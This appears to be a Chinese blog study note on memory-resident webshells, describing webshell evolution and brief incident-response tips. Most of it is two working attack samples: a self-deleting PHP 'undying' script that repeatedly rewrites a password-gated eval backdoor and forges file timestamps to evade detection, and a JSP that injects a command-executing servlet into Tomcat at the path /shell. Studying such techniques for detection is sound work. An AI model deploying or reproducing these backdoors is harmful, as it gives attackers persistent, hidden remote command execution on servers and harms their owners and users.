首页 > 系统相关 >内存马学习

内存马学习

时间:2023-04-07 21:44:32浏览次数:42  
标签:文件 java 学习 修改 内存 执行 servlet

内存马介绍

webshell的变迁过程大致如下所述:

web服务器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马

 

内存马是无文件攻击的一种常用手段,传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,内存马使用越来越多。

传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地。

PHP内存马

<?php 
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2021-8-11 12:45:00" . 2.php');
    usleep(5000);
} 
?>
ignore_user_abort(true):函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。
set_time_limit():函数限制脚本的执行时间(如设置5则需在5秒内执行完)。这里设置为0是指没有时间限制。
unlink(FILE):删除文件本身,以起到隐蔽自身的作用。
while:循环内每隔usleep(5000)即写新的后门文件
system():执行的命令用于修改文件的创建或修改时间,touch新建一个不存在的文件,-m仅修改时间,-d使用想要修改的时间而不是当时的时间,可以绕过“find –name ‘*.php’ –mmin -10”命令检测最近10分钟修改或新创建的PHP文件,但不一定有用,可选。

当这个webshell传到服务器时,此文件会自动执行。然后生成一句话木马。把不死马删除后会自动生产

如何查杀:

1.重启服务。因为内存马是在进程当中,所以直接重启

2.删除并且创建一个和不死马要生成的马名字一样的路径和文件

3.kill

4.竞争删除

java内存马

背景知识

javaweb三件套

https://blog.csdn.net/xiaojie119120/article/details/73274759

Tomcat

https://blog.csdn.net/LeBronJJJ/article/details/99247854

​其实我们只需要在请求过程中最手脚,在内存中修改已有的组件或者注册一个新的组件,插入恶意的shellcode,就可以达到目的

根据内存马注入的方式,大致可以将内存马划分为如下两类

1.servlet-api型
通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如spring的controller内存马,tomcat的valve内存马

2.字节码增强型
通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。

​ 下面的代码先是创建了一个恶意的servlet,然后获取当前的StandardContext,然后将恶意servlet封装成wrapper添加到StandardContext的children当中,最后添加ServletMapping将访问的URL和wrapper进行绑定。
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>

<%
    // 创建恶意Servlet
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {

        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {

        }
    };

    %>
<%
    // 获取StandardContext
    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

    // 用Wrapper对其进行封装
    org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
    newWrapper.setName("jweny");
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());

    // 添加封装后的恶意Wrapper到StandardContext的children当中
    standardCtx.addChild(newWrapper);

    // 添加ServletMapping将访问的URL和Servlet进行绑定
    standardCtx.addServletMapping("/shell","jweny");
%>

 

应急响应

既然在内存里,那就重启、检查代码

https://github.com/c0ny1/java-memshell-scanner   java内存马检测

标签:文件,java,学习,修改,内存,执行,servlet
From: https://www.cnblogs.com/mu-yi2/p/17297454.html

相关文章

  • SpringBoot项目学习总结
    1.项目包结构一共有6个包,common包下的主要是常量和返回结果的结构。2.创建实体类将sql语句复制过来,按住ALT+鼠标左键竖直选中删除,按HOME和END到所有行的头和尾同时编辑。3.三层开发规范分别是Controller/Service/Dao,顺序:前端浏览器->Controller->Service(接口、实现类......
  • 4.7软件工程学习总结
    今天只有晚上有时间自习,然后开始实现注册信息的功能,向mysql数据库里添加数据,之前的地铁项目做的是查询,没有做过添加数据的功能,今天写出了部分后台代码。 ......
  • Java学习路径
    一、Java学习路径   1.JavaSE  2.数据库   3.前端  4.JavaWeb  5.SSM框架  6.Linux  7.SpringBoot  8.SpringCloud  9.Hadoop......
  • 基于Python的机器学习算法——sklearn模块
    基于Python的机器学习算法安装包:pipinstallnumpy#安装numpy包pipinstallsklearn#安装sklearn包importnumpyasnp#加载包numpy,并将包记为np(别名)importsklearn#加载sklearn包python中的基础包:numpy:科学计算的基础库,包括多维数组处理、线性代数等pandas:主......
  • 学习STM32的第一个外设GPIO(2)——GPIO的输出
    【1】GPIO位结构  【1-1】输入部分为了保护IO引脚,上下各接一个保护二极管,用于限幅输入电压。上面二极管接VDD(3.3V),下面的二极管接VSS(0V)。如果输入电压比3.3V还要高,上面二极管导通,输入电压产生的电流会直接流入VDD而不是内部电流。如果输入电压比0V还要低,相对于VSS电......
  • 软件杯大赛-A5-学习笔记-Kubernetes
    一、kubernetes1.基础知识1.1硬件1.1.1节点(Node)节点是kubernetes中最小的计算硬件单元。是集群中单个机器的表示。可以对节点进行抽象的理解,即简单的将每台机器看作一组可以使用的CPU和RAM资源。这样,任何机器都可以替代Kubernetes集群中的任何其他机器。1.1.2集群集群......
  • 【研究生学习】Pytorch基本知识——神经网络实战分类与回归任务
    本博客主要记录一下神经网络实战分类与回归任务如何用Pytorch完成气温数据集及任务介绍首先需要导入数据集:importpandasaspdfeatures=pd.read_csv('temps.csv')print(features.head())#取数据的前n行数据,默认是前5行可以看到运行结果,看一下数据的样子:数据中的......
  • 逆向基础知识——软断点、硬件断点和内存断点
    1寄存器EAX:累加器,加减和比较运算都借助EAX来达到指令优化的效果,乘除必须在EAX中进行。EDX:数据寄存器,EAX的延伸。ECX:计数器ESI:源变址寄存器,存储输入数据流位置信息,“读”EDI:目的变址寄存器,指向相关数据操作结果存放位置,“写”ESP:栈指针,始终指向函数栈的最顶端EBP:基......
  • salesforce学习笔记(3-1)- JavaScript Promise(LWC)
    在JS代码中,Promise到底有什么作用?首先,我们知道的是,Javascript是单线程的,什么意思呢?就是说JS在同一时间只能做一个操作,代码的执行是一行一行进行的:  这种执行方式带来的问题就是在我们打开某个画面的时候,画面可能会卡住转圈、加载中状态很久,用户体验感很差。Promise可用于......
  • rabbitmq学习记录
    一、综述需要在生产者和消费者之间建立有效的通信链路并确定双方的通信协议。消费者通常采取主动拉取和被动消费这两种模式实现消息消费。同时出于稳定性的考虑,消费者还要提供限流的能力。消息发送方逻辑则相对简单,消息发送出去后,依赖路由规则,最终投递给符合条件的一个或多个消......